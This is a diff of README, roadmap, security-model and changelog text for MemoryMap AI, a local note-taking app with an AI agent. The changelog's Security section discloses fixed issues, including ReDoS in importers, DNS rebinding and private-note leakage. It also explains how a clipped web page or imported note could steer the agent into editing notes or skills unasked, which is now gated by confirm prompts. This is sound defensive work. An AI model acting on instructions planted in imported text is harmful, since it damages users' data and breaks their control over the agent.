+  Share to MemoryMap action, and, for a phone on your own network, LAN mode over
+  HTTPS (Settings, Account & security).
+- The help area in settings has an ask-AI feature that knows the program's
+  documentation: the Guide, and Ask Atlas about the app (`Ctrl`+`Shift`+`H`).
+- A full security sweep: the audit of 2026-10-05 and its fixes are in the
+  changelog under Security, and [`SECURITY.md`](SECURITY.md) states the model.
+- Update the readme: rewritten on 2026-10-05, with every document in `docs/`.
+
+**The AI**
+
+- More tools, including managing categories (create, rename, merge, delete), and
+  better agentic workflow: 65 tools, a visible plan, a confirm card for anything
+  that changes or deletes.
+- More skills, and a way to make new ones, including a full audit and clean-up of
+  the notebook: 21 built-in skills (Notebook health check, Clean up my tags,
+  Reorganise my categories, Fix my links, Find notes worth combining, Build a
+  skill), and your own as Markdown files.
+- Quick, normal and detailed modes for chat and agent: response presets.
+- Reduce token usage in every AI interaction: the per-turn context budget, the
+  small-model mode and schema compaction.
+- Optimise outputs for what the current model can do: the small-model mode, and
+  per-model sampling defaults.
+- A nudge for the semantic search so "what did I save in the last two days" works:
+  date-aware search operators and time travel over meaning.
+- Reduce the cap on semantic search results, based on the model's context:
+  `search_notes` scales its default result count with the model's window. The
+  ceiling deliberately does not scale, because letting it do so meant a 128k model
+  could pull 768 note previews into one tool result.
+- Have the agent reachable from anywhere in the program: the popup agent
+  (`Ctrl`+`Shift`+`A`) over every tab, and the agent activity monitor.
+- Dynamically change models based on the task: background work uses the utility
+  model so it does not tie up the chat model (`smart_model_routing_enabled`).
+- Chat message metadata that survives a reload: the whole stats block is stored
+  per turn, and every message says how full the model's window got.
+- Make the notebook constellation regenerate on a light or dark change: it is
+  rebuilt on every mode, accent and palette change, keeping the same arrangement.
+- The background librarian: runs on an interval, tags, links and flags
+  duplicates, off by default, never deletes. The category work (rename, merge,
+  move) is done by the skills above.
+
+**Notes, documents and boards**
+
+- Expand and improve the sketches board, maybe a whiteboard tab: boards and mind
+  maps in the Library's Boards & maps view, with shapes, connectors, an object
+  library and mind maps.
+- Better documents UI and usability, and make notes and documents two halves of a
+  whole: the long-form editor, document links, backlinks and the Contents tree.
+- A visual timeline: the Timeline tab with feed, table and scrubber.
+- More dashboard widgets: the dashboard's widget set, including Boards & maps.
+
+## Partly built
+
+- **Agent asks for permission in chat and documents, with before-and-after
+  comparison.** The confirm card exists for destructive and outside-text-triggered
+  changes. A before-and-after comparison for every edit does not.
+- **The agent controls the app on screen, with a visible border and a cancel.** The
+  popup agent and the activity monitor exist. The monitor is fixed bottom-right
+  rather than movable or dockable, and the agent does not drive the interface.
+- **Dynamic model choice by task complexity.** Routing is by caller, not by how
+  hard the task is.
+- **Better agentic web search through chat.** `web_search` and `read_url` exist,
+  with a SearXNG option. A research mode that plans several searches does not.
+
+## Still open
+
+- Manually group notes together, separate from the main sorting.
+- A note with more than one category.
+- Compress notes and data on disk.
+- Gravity and spread have no effect on the graph's other layouts.
+- A visual timeline drawn as a branching line with off-shoots.
+- Settings pages cannot be reached on a narrow phone view (check for other pages
+  with the same problem).
+- No Markdown rendering in some of the dashboard's widgets.
+- Pie charts for the dashboard (it has bar and line chart widgets).
+- Different ways to sort chats, and grouping chats, with an agent tool and a skill
+  to manage them.
+- An agent permission flow shown as a dialogue in chat and documents, with the
+  agent's edit proposed as a suggestion you can accept.
+- An in-built browser with MCP tool abilities beside web search. (A stdio MCP
+  server over the app's own tools exists, `python -m memorymap.mcp_server`; this
+  is the other direction.)
+- A VS Code extension.
+- The status dot's "X" state in the top bar: it was never seen, and the AI status
+  now lives in the status bar. Check that its error state can be reached.
+- Streamline, enhance and optimise the backend and every AI interaction (ongoing).
+- "I wrote 'ai is cool' as a note and it was filed under sketches": check that
+  filing against the notebook's categories.
+- Check `docs/index.html`'s own text against the README, so the documentation site
+  and the README say the same.
+
+## From the audits
+
+- **A dry run for the background librarian.** It edits notes unattended and there
+  is no way to see what it would do first. `taskhistory` already records each run;
+  what is missing is "here is the diff, apply or discard".
+- **Sweep for orphans on a schedule, not just vectors.** `clean_orphaned_vectors`
+  is the right pattern, and `clean_orphaned_board_cards` follows it; attachments
+  want it too.
 - **The sketch highlighter is at 5% opacity**, which is roughly twenty passes
-  before anything shows. Almost certainly a mistyped value — but it is a taste
-  call, so it was left alone rather than changed during an audit.

+## What it is
 
-Type a thought. A local model files it, tags it and links it to what you
-already wrote. Ask a question later and get an answer beside the notes it
-came from, sentence by sentence, so you can check it. Everything runs on
-your own computer: no account, no cloud, no telemetry. Your notes are one
-SQLite file in a folder you control, and the whole app works with no model
-running at all.

+- **Files itself.** Every note lands in a category with tags and links, and
+  says how sure it is.
+- **Answers you can check.** Each sentence of an answer cites the note it came
+  from.
+- **Private by design.** One SQLite file on your computer: no account, no
+  cloud, no telemetry. The AI runs on your machine through
+  [Ollama](https://ollama.com) or any local OpenAI-compatible server.
+- **Works without AI.** With no model it still files by your notebook's own
+  words, searches, and keeps every feature working.
+- **More than notes.** Documents, whiteboards and mind maps, a graph of your
+  ideas, a timeline and reminders, in one app.

+## Features
+
+Open a section for the detail.
+
+<details>
+<summary><b>Capture</b>: type, paste, draw, dictate or record; import from Notion, Obsidian, Evernote, Apple Notes and files</summary>
+
+- Type, paste, draw, or dictate and record meetings (transcribed on this machine
+  with Whisper). `Alt`+`N` opens a quick note over any tab. `#word` tags a note,
+  and Markdown works inline, including `[[wiki links]]` and `==highlights==`.
+  Copy or cut with nothing selected takes the whole line, in the capture box
+  and in the editors.
+- Put an emoji or an icon in a note or a document from one picker (Emoji or
+  icon in the toolbar, the Insert menu and the `/` menu): an emoji as itself,
+  one of 1,530 icons as `:ph-name:`.
+- Bring notes in from a folder of Markdown files, a PDF, Word file or slide
+  deck, Notion, Obsidian, Evernote or Apple Notes, or clip a web page with a
+  bookmarklet. Importing the same thing twice adds only what is new.
+- Attach any file. Images are captioned, read by a vision model and run
+  through Tesseract OCR (or RapidOCR) where each is available; scanned PDFs are read page
+  by page, and the OCR workspace lets you correct each region before it
+  becomes a note.
+- A note saved while the server is away waits on this device and is sent once
+  when the server is back.
+
+</details>
+
+<details>
+<summary><b>Organise</b>: filed by meaning, honest certainty, tags, categories, spaces, a background librarian</summary>
+
+- The AI picks a category by meaning (or asks, in guided mode), shows an honest
+  estimate of how sure it was (never 100%) and suggests tags, one press to keep each. With no AI, tags come from
+  the notes most like it.
+- Manage categories and tags by hand: create, rename, merge, split, delete and
+  move, each step undoable. Spaces keep separate areas of life apart.
+- A background librarian can tag, link and flag duplicates on a schedule you
+  set. It never deletes anything.
+- Everything lives in the Library: notes, documents, chats, boards and maps,
+  images and files, bookmarks, the AI skills, a contents tree and an activity
+  log.
+
+</details>
+
+<details>
+<summary><b>Ask</b>: answers with a citation per sentence, saved chats, Agent mode with tools and skills</summary>
+
+- A question returns a conversational answer and the notes behind it, with a
+  numbered citation after each sentence. Chat is saved and resumable, and the
+  line under an answer in progress says what is happening: reaching the
+  model, reading your notes, thinking, writing, or the tool in use.
+- Questions collects the questions your notes ask in passing, and marks one
+  answered when a later note answers it.
+- In Agent mode the assistant has 65 tools to search, link, organise and act on
+  your notebook. Anything destructive asks first, as does any change or web
+  request after it has read a web page or an imported note. Every step is
+  shown.
+- 21 built-in skills (and your own) run multi-step jobs as a visible
+  checklist. Small models are first-class: a small-model mode gives a 4B model
+  one step and one tool at a time.
+- A command palette (`Ctrl`/`Cmd`+`K`) reaches any command, note or document,
+  and a popup agent (`Ctrl`+`Shift`+`A`) does things from any tab. Reminders
+  take plain language: "call Sam tomorrow evening".
+
+</details>
+
+<details>
+<summary><b>Write</b>: a long-form editor with live preview, local spelling and grammar, history and export</summary>
+
+- Documents is a long-form editor with Live, Source, Split and Read views,
+  spelling and grammar checks that run on your computer, version history,
+  focus mode, and code files with line numbers, the line you are on lightly
+  highlighted. A document reopens where you left it.
+- The Writing room turns rough thoughts into a proper note, or a pasted block
+  into several linked notes, before anything is saved.
+- Export a document as Markdown, HTML, PDF or Word (Word is an optional
+  package), and your notes as JSON, CSV or Markdown.
+
+</details>
+
+<details>
+<summary><b>Visualise</b>: graph, timeline, whiteboards and mind maps, dashboard</summary>
+
+- The Graph draws your notes as a map coloured by category, with the reason
+  for each link written down.
+- The Timeline puts every note and reminder on a time axis.
+- Boards hold cards, sketches, images and shapes that contain text, joined by
+  connectors that carry a label, with a library of shapes, flowchart symbols
+  and 1,530 icons. Insert, Emoji and icons places an emoji as a sticker or an
+  icon you can recolour, and dragging a card, shape or topic to the "Drop here to
+  delete" strip at the foot of the canvas deletes it, with an Undo.
+- A board can be a mind map, with tasks to tick, a note behind any topic and
+  numbered branches. The centre, main branches and deeper topics each get their
+  own size and look (Classic, Outline, Boxed or Flat, or your own per level),
+  and a topic can wear any icon or emoji. Maps export as Markdown, OPML or
+  FreeMind, and import XMind.
+- The Dashboard shows your capture streak, statistics, a weekly digest and the
+  widgets you choose.
+
+</details>
+
+<details>
+<summary><b>Also</b>: themes, accessibility, a guided tour, sign-in</summary>
+
+- Thirteen themes, each in light or dark, with your own accent, type, density
+  and corners. A drawn face for every person and persona, and an optional
+  corner companion.
+- An Interface animations switch (Settings, Appearance, Effects & accessibility)
+  turns the short fades and slides off or on, apart from Reduce motion, which
+  stills the large movement. A Back and Forward list in the status bar shows
+  where you have been, with an icon for each kind.
+- Keyboard and screen reader support: named controls, 4.5:1 contrast, a layout
+  that holds at 400% zoom, and a switch for single-key shortcuts.
+- A guided tour, and errors written as plain sentences that say what to do.
+- Signing in is on by default and can be turned off on a computer only you use.

+## Quick start
 
-## Get started
-
-Three ways in. None needs a terminal.
+Pick the way that suits you. Only the last needs a terminal.
 
 **Windows.** Download `MemoryMap-AI-Setup-*.exe` from the
 [latest release](https://github.com/Braydenh563/MemoryMap-AI/releases/latest)
-and run it. The app opens in its own window.
-[What the SmartScreen prompt means](docs/INSTALL.md#windows-installer).
+and run it. The app opens in its own window. Windows shows a "protected your
+PC" screen because the installer is not code-signed yet:
+[what to click](docs/INSTALL.md#windows-installer).
 
 **Linux.** Download `MemoryMap-AI-*-linux-x86_64.tar.gz` from the same page,
-`tar -xzf` it and run `MemoryMap AI`. Needs GTK and WebKit (`python3-gi` and
-`gir1.2-webkit2-4.1`, or your distribution's equivalent). A `.zip` of the
-same build is there too, but prefer the tarball: a zip does not reliably
-carry the executable bit, and some archive managers unpack the launcher
-without it, which leaves you with a file that will not start and no
-explanation.
-
-**The first launch downloads the search model.** Search by meaning and
-filing by meaning use a built-in model that needs the `sentence-transformers`
-package. If it is not installed yet, the app installs it by itself the first
-time it needs it: a one-time download of several hundred MB (more on
-Windows, where it brings torch), which needs the internet and can take
-several minutes. Settings, Models, Search engine says when it is running.
-Offline, or rather not? Install [Ollama](https://ollama.com), run
-`ollama pull nomic-embed-text`, and pick it there instead.
-
-**macOS, or from source on any platform.** Clone the repository and run
-`./start-desktop.sh` (on Windows, double-click `start-desktop.bat`), or
-`./start.sh` for a browser tab. The launcher builds a private Python
-environment, installs everything and opens the app. `--doctor` on either
-one checks the machine and prints a table with a fix per row. A
-step-by-step version for first-time terminal users is in
-[docs/INSTALL.md](docs/INSTALL.md).
-
-Add the AI afterwards: install [Ollama](https://ollama.com) and pull a
-model that fits your machine. Which one, from "runs on a laptop with no
-GPU" upwards, is in [docs/MODELS.md](docs/MODELS.md). Any OpenAI-compatible
-server works too: LM Studio, llama.cpp's `llama-server`, Jan, vLLM.
-
-## What it does
-
-**Capture.** Type, paste, dictate (local Whisper) or draw. The AI picks a
-category by meaning, or asks you in guided mode, and says which. Free text
-can be split into separate, auto-linked notes. Notes take Markdown inline,
-including `[[wiki links]]`, `~~strikethrough~~` and `==highlights==` in
-six colours.
-
-**Ask.** A question returns a conversational answer and the notes behind
-it, side by side, with each sentence linked to the note it came from. Chat
-is saved and resumable. In Agent mode the assistant has 58 tools to
-search, link, organise and act on your notebook; anything destructive
-asks first, and every step it takes is shown.
-
-**See the shape of it.** The Graph draws your notes as a map, coloured by
-category and linked by meaning, with the reason for each link written
-down. The Timeline puts every note on a time axis. The Dashboard shows
-your capture streak, statistics, a weekly digest and whatever widgets you
-choose.
-
-**Write at length.** Documents is a long-form editor with Live, Source,
-Split and Read views, a formatting toolbar, spelling and style checks you
-can click on, version history, and code files with line numbers.
-
-**Think on a canvas.** The Whiteboard holds sketches, shapes, images and
-note cards on a pannable surface. A board can be a **mind map**: a root
-topic with branches you grow by hand or from your notes, exportable as
-Markdown or OPML.
-
-**Keep everything in one Library.** Notes, documents, chats, files, tags,
-bookmarks, the recycle bin and the activity log. Every image you add is
-read three ways where each is available (a caption, a vision-model
-transcription and Tesseract OCR), all editable, all searchable. Attach any
-file to a chat message: images go to a vision model, and documents,
-spreadsheets, PDFs and code are imported with their text extracted.
-Scanned PDFs are read page by page by an OCR model.
-
-**Remember.** Reminders with priority, repeats and snooze, or type "call
-Sam tomorrow evening" and let the AI schedule it.
-
-**Automate.** 20 built-in skills (and your own) run multi-step jobs over
-the notebook as a visible checklist, one step at a time, with each tool
-call shown. An optional background librarian tags, links and flags
-duplicates on a schedule you set. It never deletes anything.
-
-**Meet Atlas.** The notebook's own guide, who files your notes, answers
-"how do I" questions from the app's own documentation, and can keep you
-company in the corner of any page. More below.
-
-**Faces for everyone.** Every person and persona gets a small drawn
-character read from their name (a mood word, an animal, a costume), and
-Settings, Profile, Your look lets you shuffle yours or choose every part:
-hair, skin, clothes, headwear, eyewear, what you hold.
-
-**Sign in, or don't.** The notebook asks for its password when it opens, by
-default. On a computer only you use, Settings, Account and security can turn
-that off: the app opens straight in on this computer, another device on your
-network still needs the password, and private notes stay encrypted until you
-unlock them.
-
-Also: a command palette (`Ctrl`/`Cmd`+`K`), a popup agent, read-aloud,
-opt-in web search, thirteen themes, each in light or dark,
-interface zoom, a guided tour of the real controls, and daily local backups.
-
-## Meet Atlas
-
-<p align="center">
-  <img src="docs/screenshots/atlas-mood.png" alt="Atlas in its masculine look on a night-sky tile: a small astral figure with a ring of orbiting stars, swept starlit hair, a nebula stream and a happy expression" width="240">
-  <br><b>The star spirit who keeps your notebook</b>
-</p>
-
-- **Files your notes**: a category, tags and the notes each one relates to.
-- **Answers from your notebook**: sentence by sentence, with the note behind each one.
-- **Keeps you company**: a companion in the corner of any page that reacts to what you do, or a character of your own, drawn from a name.
-
-## The AI, and life without it
-
-MemoryMap is built around a local model, and built to work when there is
-none. With no model running, notes are filed as Uncategorised, search
-uses full-text matching with stemming and spelling correction, and every
-other feature keeps working. A dot in the header always says what the AI
-is doing.
-
-- **Any local model.** Ollama by default; any OpenAI-compatible server by
-  setting a URL. Settings > Models shows the sampling parameters and
-  starts each at the value the model's own file recommends.
-- **A model per feature, if you want one.** Chat, Write with Atlas, the
-  documents assistant and the Guide each run on the chat model until you
-  give one of them a model of its own, from Settings > Models or from that
-  surface's own menu. One button hands them all back.
-- **Small models are first-class.** Skills and tool use have a small-model
-  mode that gives a 4B model one step and one tool at a time, with
-  recovery when it skips a step.
-- **Search by meaning** is optional and off by default. Turn it on and
-  questions match ideas rather than words, using a local embedding model
-  through Ollama.

-## Your data
+unpack it with `tar -xzf` and run `MemoryMap AI`. Use the tarball rather than
+the `.zip` beside it: a zip may drop the executable bit and leave a launcher
+that will not start. The window needs GTK and WebKit (`python3-gi` and
+`gir1.2-webkit2-4.1` on Debian and Ubuntu).
+
+**macOS, or any platform from source.** Clone the repository and run
+`./start-desktop.sh` for the app's own window, or `./start.sh` for a browser
+tab (on Windows, `start-desktop.bat` or `start.bat`). The launcher builds a
+private Python environment, installs everything and opens
+<http://localhost:8000>. Add `--doctor` to check the machine and print a fix
+for each problem. [docs/INSTALL.md](docs/INSTALL.md) has a step-by-step
+version for first-time terminal users.
+
+**Then:**
+
+1. Choose a password when the app first opens.
+2. Add the AI. Install [Ollama](https://ollama.com) and pull a model that fits
+   your machine; `ollama pull llama3.2` is a safe start. Which model, from
+   "runs on a laptop with no GPU" upwards, is in [docs/MODELS.md](docs/MODELS.md).
+   LM Studio, llama.cpp's `llama-server`, Jan and vLLM work too, through
+   Settings, Models.
+3. Write a note, then ask about it in Notes, Ask.
+
+**The first launch downloads the search model.** Search and filing by meaning
+use a built-in model that needs the `sentence-transformers` package. If it is
+missing, the app installs it the first time it is needed: a one-time download
+of several hundred MB (more on Windows, where it brings torch) that needs the
+internet and can take several minutes. Settings, Search and index, Search
+engine says when it is running. To avoid the download, pull `nomic-embed-text`
+in Ollama and pick it in the same place.
+
+## Requirements and optional extras
+
+- **To run it:** the Windows installer and the Linux tarball need nothing else.
+  From source you need Python 3.11 or newer (CI runs 3.11 to 3.13).
+- **For the AI:** [Ollama](https://ollama.com) or any OpenAI-compatible server.
+  The app is useful without one.
+- **Optional extras.** Settings, Packages installs each one from inside the
+  app, with no terminal. None is needed for the core.
+
+| Extra | What it adds |
+| --- | --- |
+| Search by meaning (sentence-transformers) | Matching ideas rather than words; about 2 GB with torch |
+| Voice notes (faster-whisper) | Local dictation for the microphone buttons |
+| Desktop window (pywebview) | The app in its own window, and a tray icon on Windows |
+| Import documents (markitdown) | PDF, Word and slide decks become notes |
+| Export to Word (python-docx) | A document's Word export |
+| Read scanned PDFs (pypdfium2) | Scanned pages become images a vision or OCR model can read |
+| Search inside images (Tesseract OCR) | Text in images becomes searchable; also needs the Tesseract program |
+| Read images without Tesseract (RapidOCR) | A second local reader, nothing else to install; used when Tesseract isn't ready |
+| Run Python files (Pyodide) | Runs a `.py` document in a sandbox; a pinned download that works offline |
+| Tool calling without Ollama (needle) | A small built-in model that picks tools when no model server is running; a pinned download that works offline |
+
+## Privacy
 
 Everything lives in one folder: `memorymap.db` (your notes), `preferences.json`,
-`uploads/` (attachments and sketches) and `backups/` (daily local
-snapshots). Set `MEMORYMAP_DATA_DIR` to put it somewhere else. Export to
-JSON, CSV or Markdown from Settings at any time.
-
-Nothing leaves your machine unless you ask it to. The server binds to
-localhost, the AI is confined to your own network, web search is off by
-default and sends only your search words, and private notes are encrypted
-at rest with a key derived from your password. The full model, including
-session expiry, the CSRF and CSP protections and what to do if you forget
-your password, is in [docs/PRIVACY.md](docs/PRIVACY.md). To report a
+`uploads/` and `backups/` (a snapshot once a day). Set `MEMORYMAP_DATA_DIR` to
+put it elsewhere. Settings, Import & export exports your notes as JSON, CSV or
+Markdown, or as a full backup that you can seal with a password.
+
+- The server listens on this computer only. Letting a phone or another computer
+  on your network in is a switch in Settings, Account & security; it always
+  asks for your password, over HTTPS with a certificate made on this computer
+  (Settings, Account & security shows its fingerprint).
+- The AI runs where you point it, and a setting that is on by default
+  refuses a model address that is not on your computer or network.
+- Private notes are encrypted at rest with a key derived from your password,
+  and kept out of search, the graph and every AI tool.
+- Web search is off by default, and the update check waits for your answer to
+  the question the first start asks. Web search sends only your search words.
+- Settings, Privacy lists every connection the app has made.
+
+[docs/PRIVACY.md](docs/PRIVACY.md) has the full model, including sessions, the
+browser protections and what to do if you forget your password. To report a
 vulnerability, see [SECURITY.md](SECURITY.md).

 ## MemoryMap AI's security model, in short
 
 MemoryMap AI is a **local-first, single-user app that runs on your own
-machine.** It binds to `127.0.0.1` (localhost only), never exposes itself
-to the network, and never sends your notes to the cloud. Your data lives
-in a folder on your disk (`data/`), and access to the app is gated
-behind a password you choose on first run (bcrypt-hashed, stored
-locally).
-
-Because of this design, the most important protections for your notes
-are the ones your operating system already provides:
-
-- **Encryption at rest.** The database is a plain SQLite file. If your
-  notes are sensitive, enable full-disk encryption (BitLocker on
-  Windows, FileVault on macOS, LUKS on Linux). SQLCipher is deliberately
-  *not* bundled: it needs a native dependency on every platform for a
-  single-user local file, and disk encryption covers the same threat
-  more simply. See [`docs/PRIVACY.md`](docs/PRIVACY.md) for what the app
-  encrypts on its own (private notes).
-- **Backups.** The app takes a daily local snapshot into your data
-  folder. Those snapshots are as sensitive as the database, keep them
+machine.** By default it listens on `127.0.0.1` only, so nothing on your network
+can reach it, and it never sends your notes to the cloud. Your data lives in a
+folder on your disk (`data/` beside a source checkout, or your per-user app
+folder when installed). Access to the app is gated behind a password you choose
+on first run (bcrypt-hashed, stored locally). On a computer only you use, you can
+turn the sign-in off; another device and your private notes still ask for the
+password.
+
+Letting another device in is a switch you turn on yourself (Settings, Account &
+security). It always requires the password, and the network side is HTTPS with a
+certificate generated on your computer. [`docs/PRIVACY.md`](docs/PRIVACY.md)
+describes this, what can touch the network, and the browser protections in full.

+  is **private notes**: AES-GCM under a key derived from your password with
+  scrypt.
+- **Backups.** The app takes a daily local snapshot into your data folder, and
+  Settings can write a full backup, which you can seal with a password. A
+  snapshot or an unsealed backup is as sensitive as the database, so keep it

 thought; a local AI files it into a category automatically. Later you ask a
 question in plain English and get back **both** a conversational answer **and**

 ## [Unreleased]

+
+### Highlights
+
+- Capture and filing, checked end to end: a note typed in Capture is saved, filed and findable after a reload, with or without an AI model. 49 browser tests now run on every change, including the flows that were broken in 0.3.32.
+- Works fully with no AI model: filing by your notebook's own words, search, Ask with cited sources, reminders from plain words, and clear next steps wherever a model would help.
+- Filing certainty you can trust: a model's pick never reads 100%, drops when your notes disagree, and offers other categories to tap when it is unsure.
+- Nothing lost: unsaved edits to a note or a document survive a reload or a closed window and are offered back; deletes go to the bin or can be undone.
+- Mind maps: a real hierarchy by default (a central topic, main branches, leaves), four looks, per-level styles, copy and paste style, and topic icons.
+- An emoji and icon library: 1,500 icons and nearly 500 emoji, placed as stickers on boards and maps or inserted from the editors' toolbars.
+- Whiteboard: drag an item onto a delete target to remove it (with Undo); links follow an item while it turns.
+- The Writing room (was Write with Atlas), chat progress that says what Atlas is doing, refreshed Atlas avatars, and a clearer "AI off" status.
+- Interface animations: subtle, cheap motion (a sliding tab indicator, menus that grow from their button, toasts that slide in), with its own switch in Appearance.
+- The document editor: a current-line highlight with line numbers, and whole-line copy and cut, as in VS Code.
+- Security: HTTPS for other devices on your network, a stronger password rule, private notes kept out of saved answers, backups and the search index, and nothing touches the network until you allow update checks.
+- Windows: the installer and packaged app were audited (17 fixes), and every build now installs, upgrades over the last release and uninstalls in CI.
+- A new GitHub Pages site and fresh README screenshots.
+
+### Security
+
+- Agent mode: a very long question with a long dotted run in it (a pasted list of versions or addresses) no longer stalls the turn before it starts; the check for sites you named took over a minute on 64,000 characters and now reads it in one pass (the final scan, 2026-10-06).
+- Import from other apps: an Evernote or Notion export can no longer stall the import with a crafted run of unclosed tags, brackets or spaces; five of the patterns that read it backtracked quadratically (2 to 10 seconds on 20 to 180 KB, so minutes on a 200 MB export) and now read in one pass (the final scan, 2026-10-06).
+- Agent mode: once a turn has read text from outside, opening a page still waits for your confirm, except the exact address a web search returned in that turn or a page on a site you named in your question; the same page with something added (a query string, a longer path) or a name that only ends like your site still asks. Research turns no longer stack a confirm card per page, and a page still cannot send your notes anywhere by itself (SEC-02's last step, audit 2026-10-05).
+- Passwords: a new password (setting one up, or changing it) needs at least 8 characters, and one that is still easy to guess (a common choice, 12345678, one kind of character in a short one) is accepted with a warning that says why; a password set before this keeps opening the notebook. Before, a 4-character PIN was allowed, and a copy of the notebook file guesses that offline in minutes (SEC-17, audit 2026-10-05).
+- Private notes: making a note private now also redacts every saved Ask answer and chat reply that cited it, or repeats six or more of its words in a row (an agent's tool step and its thinking included); the answer says its words were removed and your question stays. Before, an answer that quoted the note kept its words readable in Ask history, the conversation and the database file (SEC-14, audit 2026-10-05).
+- Import a folder: running it again is safe. A file whose place in the folder and whose text are already a note is passed over (a note made private since is matched by its place alone), so importing again finishes an import that was cut off instead of doubling every note, and the activity line says how many were already in; one file that fails no longer stops the files after it (SEC-10, audit 2026-10-05).
+- Other devices: the network is served over HTTPS now, with a certificate made on this computer the first time the switch is on (no network, kept in the data folder, owner-only), on its own port, 8443 beside the usual 8000; this computer keeps plain http. Settings, Account and security shows the certificate's SHA-256 fingerprint to compare with the one-time warning a phone shows, and Regenerate certificate makes a new one without a restart. Before, the password and the session token crossed the network in the clear (SEC-08, the owner's decision of 2026-10-05).
+- Updates: the first start asks once whether to check for updates automatically (in the terminal for start.sh, in the app otherwise, the packaged app included) and remembers the answer; until then nothing about updating touches the network, the launchers' pull and the doctor's remote check included. Before, a copy started with start.sh or start.bat ran a pull on every launch unasked. Settings, About's button is now Check for updates and checks once even with the switch off (the owner's decision, 2026-10-05).
+- Other devices: `--reset-password` turns "Allow other devices on this network" off, the launcher listens on this computer only while no password is set, and a request that arrives from the network before a password exists is refused (403), however the server was started; before, a reset with the switch on reopened the whole notebook to the network with no password (SEC-01, audit 2026-10-05). The help says the traffic is plain http, for networks you trust (SEC-08).
+- Agent mode: a note clipped from the web or brought in by an import, and an imported document, now count as text from outside, like a web page: once a turn has read one (by a tool, or because it was retrieved for the question), every change to the notebook (edit, create, save a skill, set a reminder, rename) and every web request waits for your confirm, and the card says what it will do; before, only destructive tools and web requests after a web search asked, so a clipped page could steer the agent into rewriting a skill or a note unasked (SEC-02, audit 2026-10-05).
+- Private notes: making a note private now merges the search index so none of its words stay in the database file or its write-ahead log, and every backup and the Export backup zip is a cleaned snapshot, which also strips words an older version left behind; before, a private note's vocabulary (a PIN, a place) was readable with strings in every backup (SEC-03, audit 2026-10-05). The Export backup zip also stops missing changes still in the write-ahead log.
+- Sign-in: a wrong current password in Change password and Re-encrypt private notes now counts against the same wait as a wrong unlock (SEC-04); a request that names another site's domain is refused on this computer too, not only from the network, so a DNS-rebinding page can no longer lock you out or close your private notes, Lock does nothing without a live session, and Origin null is refused on the sign-in routes (SEC-05); a request body is capped at 1 MB until signed in, before it is read (SEC-06); a password over 72 bytes (a long passphrase, 25 emoji) works instead of failing with an error, and one over 1,024 characters is refused (SEC-09).
+- Backups: restoring one now signs every session out and asks for the password, so the restored private notes open with the key that came with them; before, a restore across a key rotation left new private notes unreadable after the next restart (SEC-07).
+- Attachments are served as downloads unless they are pictures or PDFs, sandboxed, so an uploaded script can never run in the app (SEC-11); a user name and password typed into the model server address stay out of the support bundle and the privacy receipt (SEC-12); on Linux and macOS the notebook folder is readable by its owner only (SEC-13).
+- A note's source address must be a web address, and every link the audit found opened without the link check (a note's source chip, a chat source card, the palette's sources, a link card, a bookmark row) now goes through it (SEC-15).
+
+### Changed
+- Tags: a tag typed and entered before the tag list had loaded no longer opens the list afterwards over the note form's Save changes, where a press meant for Save took a tag nobody chose.
+- Dictate with the voice add-on not installed, Compress on a chat with nothing to compress yet, and Add on an empty reminder now say so as a plain message instead of an error with Report this.
+- Documents: words typed just before a reload or a closed window (inside the 1.2 s autosave pause, or after a save the server refused) are kept on this device, and the next open of that document offers them back with Put them back.
+- Documentation checked against the code, file by file (README, INSTALL, MODELS, PRIVACY, TROUBLESHOOTING, ARCHITECTURE, CONTRIBUTING, DESIGN): the README lists this release's features (the Writing room, Interface animations, the emoji and icon library and stickers, mind map levels and looks, drag to delete, chat progress phases, whole-line copy, the active line, the Back and Forward list, HTTPS for other devices, the first-start update question); INSTALL, PRIVACY and CONTRIBUTING say the update check asks once at first start; MODELS names the suggested-download groups and fit labels the app shows; TROUBLESHOOTING gains the certificate warning on another device; ARCHITECTURE's directory map, router table, script counts (107 files, 38 at boot), graph layouts, tables and migration head match the tree; DESIGN's tokens and class names that no longer exist are gone (INBOX 645).
+- README screenshots retaken again, all 22, from a fresh showcase notebook (75 notes, the mind map now with icons and a look per level): the first-start update question no longer sits over the dashboard, and `readmeshots.js` counts toasts, skeletons and open dialogs at each capture (INBOX 645).
+- The project website (GitHub Pages) is rebuilt as one static landing page in the app's own look, light and dark: what MemoryMap is, the capture, filing and ask loop, a tour of the screenshots, privacy and offline, install, models, questions people ask, and links to the release, the source, issues and every policy on GitHub. It no longer loads the documents from the repository, which often failed, and names no version, date or count, so it does not go stale (INBOX 645).
+- Back and forward list: each row is an icon for its kind (note, document, board, map, tab), the title as plain text (markdown and file names gone; an image-only note is titled by its caption or "Image"), a small lazy thumbnail when a note opens with a picture, and the tab or sub-tab in muted text beneath; consecutive identical rows fold into one (Back and Forward still walk the exact history). The rows moved into a lazy bundle, so the boot JS is 418 bytes lighter (588,744 to 588,326 gzipped).
+- Motion: Settings, Appearance, Effects & accessibility has Interface animations, on by default: the short, cheap animations of the interface play even with Reduce motion or the system's reduced-motion setting on, and turning it off makes every one of them instant (Reduce motion now stills the large movement only: Atlas, the background art, the graph and the whiteboard). One sliding marker for every tab strip: the top bar, the sub-tabs, every segmented control, the Settings sections and a pane's groups slide to the chosen option and land on it after a resize. Buttons and chips press in, menus and help popovers grow from what opened them and close back faster, dialogs and sheets leave the way they came, a page or Notes section fades in a little quicker, lists settle in where their placeholders were, toasts arrive from the bottom and the others slide to make room, focus rings and hovers ease in; no interface animation moves a shadow, a size or a position property. The guided tour's script now loads when a tour starts or Settings, Help opens, 11 KB less at start-up.
+- Notes and documents: Emoji or icon in the note toolbar, the document's Insert menu and the / menu opens the same picker and puts the choice at the caret, an emoji as itself and a Phosphor icon as `:ph-name:`, which the reading view draws as the icon (never inside code). Before, the only way to an emoji was the document editor's `:shortcode:` completion, and no icon could go in text at all (INBOX 642, MINDMAP_PLAN decision 46; mc1-editoricons.js 7/7).
+- Boards and maps: Insert, Emoji and icons… opens the icon and emoji picker and keeps it open: a press places one in the middle of the view, a drag places it under the pointer. An emoji lands as a sticker (no card, its glyph sized to its box, exported as itself), a Phosphor icon as the library's vector icon you can recolour, and either dropped on a map topic becomes its icon; each is one Undo step (INBOX 642, MINDMAP_PLAN decision 44, WHITEBOARD_PLAN 37; mc1-stickers.js 8/8).
